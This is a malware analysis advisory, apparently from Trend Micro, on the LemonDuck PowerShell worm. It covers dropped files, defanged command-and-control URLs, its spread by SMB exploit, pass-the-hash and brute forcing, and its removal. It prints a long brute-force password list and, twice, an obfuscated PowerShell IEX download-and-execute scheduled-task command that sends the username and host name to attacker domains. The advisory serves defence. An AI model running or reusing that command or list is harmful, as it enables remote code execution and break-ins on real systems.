Worm.PS1.LEMONDUCK.YXBC-A

March 25, 2021
 Analysis by: Mc Justine De Guzman
 PLATFORM:

Windows

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:
 INFORMATION EXPOSURE:

  • Threat Type: Worm

  • Destructiveness: No

  • Encrypted: Yes

  • In the wild: Yes

  OVERVIEW

Infection Channel:

Downloaded from the Internet, Dropped by other malware

This Worm arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

  TECHNICAL DETAILS

File Size:

277,761 bytes

Memory Resident:

No

Initial Samples Received Date:

01 Mar 2021

Payload:

Drops files

Arrival Details

This Worm arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

This Worm drops the following files:

  • {Removable Drive}:\Dblue3.lnk
  • {Removable Drive}:\Eblue3.lnk
  • {Removable Drive}:\Fblue3.lnk
  • {Removable Drive}:\Gblue3.lnk
  • {Removable Drive}:\Hblue3.lnk
  • {Removable Drive}:\Iblue3.lnk
  • {Removable Drive}:\Jblue3.lnk
  • {Removable Drive}:\Kblue3.lnk
  • {Removable Drive}:\blue3.bin
  • {Removable Drive}:\Dblue6.lnk
  • {Removable Drive}:\Eblue6.lnk
  • {Removable Drive}:\Fblue6.lnk
  • {Removable Drive}:\Gblue6.lnk
  • {Removable Drive}:\Hblue6.lnk
  • {Removable Drive}:\Iblue6.lnk
  • {Removable Drive}:\Jblue6.lnk
  • {Removable Drive}:\Kblue6.lnk
  • {Removable Drive}:\blue6.bin
  • {Removable Drive}:\UTFsync\inf_data -> serves as infection marker
  • {Removable Drive}:\readme.js
  • %User Temp%\mimi.dat

(Note: %User Temp% is the current user's Temp folder, which is usually C:\Documents and Settings\{user name}\Local Settings\Temp on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Local\Temp on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).)

It adds the following processes:

  • "%Windows%\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"%User Temp%{8 random characters}.cmdline"
  • %Windows%\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%User Temp%\RES{4 random numbers}.tmp" "%User Temp%\CSC{4 random numbers}.tmp"
  • "%System%\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile
  • "%System%\NETSTAT.EXE" -anop TCP
  • "%System%ipconfig.exe" /all
  • "%System%ipconfig.exe" /displaydns
  • "%System%NETSTAT.EXE" -ano

(Note: %User Temp% is the current user's Temp folder, which is usually C:\Documents and Settings\{user name}\Local Settings\Temp on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Local\Temp on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).. %System% is the Windows system folder, where it usually is C:\Windows\System32 on all Windows operating system versions.)

Other Details

Based on analysis of the codes, it has the following capabilities:

  • Connects to the following url to download a malicious file:
    • http://t.{BLOCKED}g.com/logic.jsp?0.9
    • http://t.{BLOCKED}g.com/logico.jsp?0.9
    • http://t.{BLOCKED}g.com/ipc.jsp?0.9
    • http://t.{BLOCKED}g.com/ipco.jsp?0.9
    • http://t.{BLOCKED}g.com/ipc.jsp?l_0.9
    • http://t.{BLOCKED}g.com/ms.jsp?0.9
    • http://t.{BLOCKED}g.com/mso.jsp?0.9
    • http://t.{BLOCKED}g.com/usb.jsp?js_0.9 -> is done by {Removable Drive}:\readme.js
    • http://t.{BLOCKED}g.com/ipc.jsp?bat_0.9
    • http://t.{BLOCKED}g.com/rdp.jsp
    • http://t.{BLOCKED}g.com/rdpo.jsp
    • http://t.{BLOCKED}g.com/ln/core.png?0.9 -> for linux systems
    • http://t.{BLOCKED}g.com/ln/core.png?rds -> for linux systems
    • http://t.{BLOCKED}g.com/ln/core.png?rdso -> for linux systems
    • http://t.{BLOCKED}g.com/smgh.jsp?0.9
    • http://d.{BLOCKED}9.com/knil.bin?v={Version}&r={number from 0-2}
    • http://d.{BLOCKED}9.com/mimi.dat?v={Version}&r={number from 1-3}
    • http://d.{BLOCKED}9.com/mm.bin -> if %User Temp%\mimi.dat doesn't exist
  • Open port scanning on the following:
    • SMB port
    • MSSQL port
    • SSH port
    • Redis port
    • Yarn port
    • Logic port
  • It is capable of propagating in the local network via the following means:
    • SMB Exploit
    • MS-SQL Brute forcing
    • Pass-The-Hash attack
    • RDP Brute forcing
  • Perform brute force attacks using the following credentials:
    • Username:
      • admin
      • administrator
    • Password:
      • saadmin
      • 123456
      • test1
      • zinch
      • g_czechout
      • asdf
      • Aa123456.
      • dubsmash
      • password
      • PASSWORD
      • .com
      • admin@123
      • Aa123456
      • qwer12345
      • Huawei@123
      • 123@abc
      • golden
      • 123!@#qwe
      • 1qaz@WSX
      • Ab123
      • 1qaz!QAZ
      • Admin123
      • Administrator
      • Abc123
      • Admin@123
      • 999999
      • Passw0rd
      • 123qwe!@#
      • football
      • welcome
      • 1
      • 12
      • 21
      • 123
      • 321
      • 1234
      • 12345
      • 123123
      • 123321
      • 111111
      • 654321
      • 666666
      • 121212
      • 000000
      • 222222
      • 888888
      • 1111
      • 555555
      • 1234567
      • 12345678
      • 123456789
      • 987654321
      • admin
      • abc123
      • abcd1234
      • abcd@1234
      • abc@123
      • p@ssword
      • P@ssword
      • p@ssw0rd
      • P@ssw0rd
      • P@SSWORD
      • P@SSW0RD
      • P@w0rd
      • P@word
      • iloveyou
      • monkey
      • login
      • passw0rd
      • master
      • hello
      • qazwsx
      • password1
      • Password1
      • qwerty
      • baseball
      • qwertyuiop
      • superman
      • 1qaz2wsx
      • fuckyou
      • 123qwe
      • zxcvbn
      • pass
      • aaaaaa
      • love
      • administrator
      • qwe1234A
      • qwe1234a
      • 123123123
      • 1234567890
      • 88888888
      • 111111111
      • 112233
      • a123456
      • 123456a
      • 5201314
      • 1q2w3e4r
      • qwe123
      • a123456789
      • 123456789a
      • dragon
      • sunshine
      • princess
      • !@#$%^&*
      • charlie
      • aa123456
      • homelesspa
      • 1q2w3e4r5t
      • sa
      • sasa
      • sa123
      • sql2005
      • sa2008
      • abc
      • abcdefg
      • sapassword
      • cV3TAa12345678
      • ABCabc123
      • sqlpassword
      • sql2008
      • 11223344
      • admin888
      • qwe1234
      • A123456
      • OPERADOR
      • Password123
      • test123
      • NULL
      • user
      • test
      • Password01
      • stagiaire
      • demo
      • scan
      • P@ssw0rd123
      • xerox
      • compta
  • It is capable of propagating in the local network via the following means:
    • SMB Exploit
    • MS-SQL Brute forcing
    • Pass-The-Hash attack
    • RDP Brute forcing

It adds the following scheduled tasks:

  • Name: Rtsa
    • Action: 'powershell -c '\\\"t.{BLOCKED}g.com\\\",\\\"t.{BLOCKED}0.com\\\",\\\"t.{BLOCKED}9.com\\\"|foreach{I`EX(Ne`w-Obj`ect Net.WebC`lient).\\\"DownloadString\\\"(\\\"http://$_/{eb or ebo}.jsp?0.9*$env:username*$env:computername\\\")}'

  SOLUTION

Minimum Scan Engine:

9.800

FIRST VSAPI PATTERN FILE:

16.598.03

FIRST VSAPI PATTERN DATE:

16 Mar 2021

VSAPI OPR PATTERN File:

16.599.00

VSAPI OPR PATTERN Date:

17 Mar 2021

Step 1

Before doing any scans, Windows 7, Windows 8, Windows 8.1, and Windows 10 users must disable System Restore to allow full scanning of their computers.

Step 2

Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.

Step 3

Deleting Scheduled Tasks

The following {Task Name} - {Task to be run} listed should be used in the steps identified below:

  • Rtsa - 'powershell -c '\\\"t.{BLOCKED}g.com\\\",\\\"t.{BLOCKED}0.com\\\",\\\"t.{BLOCKED}9.com\\\"|foreach{I`EX(Ne`w-Obj`ect Net.WebC`lient).\\\"DownloadString\\\"(\\\"http://$_/{eb or ebo}.jsp?0.9*$env:username*$env:computername\\\")}'

For Windows 2000, Windows XP, and Windows Server 2003:

  1. Open the Windows Scheduled Tasks. Click Start>Programs>Accessories>
    System Tools>Scheduled Tasks.
  2. Locate each {Task Name} values listed above in the Name column.
  3. Right-click on the said file(s) with the aforementioned value.
  4. Click on Properties. In the Run field, check for the listed {Task to be run}.
  5. If the strings match the list above, delete the task.

For Windows Vista, Windows 7, Windows Server 2008, Windows 8, Windows 8.1, and Windows Server 2012:

  1. Open the Windows Task Scheduler. To do this:
    • On Windows Vista, Windows 7, and Windows Server 2008, click Start, type taskschd.msc in the Search input field, then press Enter.
    • On Windows 8, Windows 8.1, and Windows Server 2012, right-click on the lower left corner of the screen, click Run, type taskschd.msc, then press Enter.
  2. In the left panel, click Task Scheduler Library.
  3. In the upper-middle panel, locate each {Task Name} values listed above in the Name column.
  4. In the lower-middle panel, click the Actions tab. In the Details column, check for the {Task to be run} string.
  5. If the said string is found, delete the task.

Step 4

Search and delete this file

[ Learn More ]
There may be some files that are hidden. Please make sure you check the Search Hidden Files and Folders checkbox in the "More advanced options" option to include all hidden files and folders in the search result.
  • {Removable Drive}:\Dblue3.lnk
  • {Removable Drive}:\Eblue3.lnk
  • {Removable Drive}:\Fblue3.lnk
  • {Removable Drive}:\Gblue3.lnk
  • {Removable Drive}:\Hblue3.lnk
  • {Removable Drive}:\Iblue3.lnk
  • {Removable Drive}:\Jblue3.lnk
  • {Removable Drive}:\Kblue3.lnk
  • {Removable Drive}:\blue3.bin
  • {Removable Drive}:\Dblue6.lnk
  • {Removable Drive}:\Eblue6.lnk
  • {Removable Drive}:\Fblue6.lnk
  • {Removable Drive}:\Gblue6.lnk
  • {Removable Drive}:\Hblue6.lnk
  • {Removable Drive}:\Iblue6.lnk
  • {Removable Drive}:\Jblue6.lnk
  • {Removable Drive}:\Kblue6.lnk
  • {Removable Drive}:\blue6.bin
  • {Removable Drive}:\UTFsync\inf_data
  • {Removable Drive}:\readme.js
  • %User Temp%\mimi.dat

Step 5

Scan your computer with your Trend Micro product to delete files detected as Worm.PS1.LEMONDUCK.YXBC-A. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check the following Trend Micro Support pages for more information:


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